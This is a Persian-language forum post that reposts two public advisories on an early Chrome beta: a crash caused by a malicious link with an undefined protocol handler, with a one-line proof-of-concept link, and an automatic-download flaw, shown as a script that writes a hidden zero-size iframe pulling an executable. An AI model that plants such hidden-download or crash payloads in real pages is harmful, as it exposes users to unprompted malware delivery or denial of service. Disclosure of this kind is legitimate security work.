Google Chrome Browser 0.2.149.27 malicious link DoS Vulnerability

[L0pht]

Chrome گوگل هنوز متولد نشده باگ داد.
بیسش Apple WebKit یا همون KHTML . فبلا Konqueror و safari از این موتور استفاده می کردن.
دانلود خود مرورگر:
http://www.google.com/url?sa=t&oi=promos&cad=hppweb%3Aen_extra&ct=pro&cd=1&url=http%3A%2F%2Fwww.google.com%2Fchrome%2Findex.html%3Fhl%3Den%26brand%3DCHMG%26utm_source%3Den-hpp%26utm_medium%3Dhpp%26utm_campaign%3Den&ei=TH3ASLjhGoS81QaeoqjeBw&usg=AFQjCNFeJfUcsxcHmhekcG2LMdMHdZdYWw&sig2=HEt-yfn27RmjaTpSNSyBog
البته زیاد هم پر خطر نیست اما تا حالا باگ زیاد داده.

کد:

Software:
Google Chrome Browser 0.2.149.27

Tested:
Windows XP Professional SP3

Result:
Google Chrome Crashes with All Tabs

Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version
0.2.149.27. A crash can result without user interaction. When a user is made to visit
a malicious link, which has an undefined handler followed by a 'special' character,
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed.
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the
EIP register at 0x01002FF4.

Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php

Credit:
Rishi Narang (psy.echo)
www.greyhat.in
www.evilfingers.com
---------------------------------------------------

PoC Working/Exploit:
Click for a demo <a href="EVIL:%">HERE</a>

[L0pht]

دومیش هم پابلیک شد.

کد:

Author: nerex
 E-mail: nerex[at]live[dot]com

 Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
 downloaded to the user's computer without any user prompt.

 This proof-of-concept was created for educational purposes only.
 Use the code it at your own risk.
 The author will not be responsible for any damages.

 Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>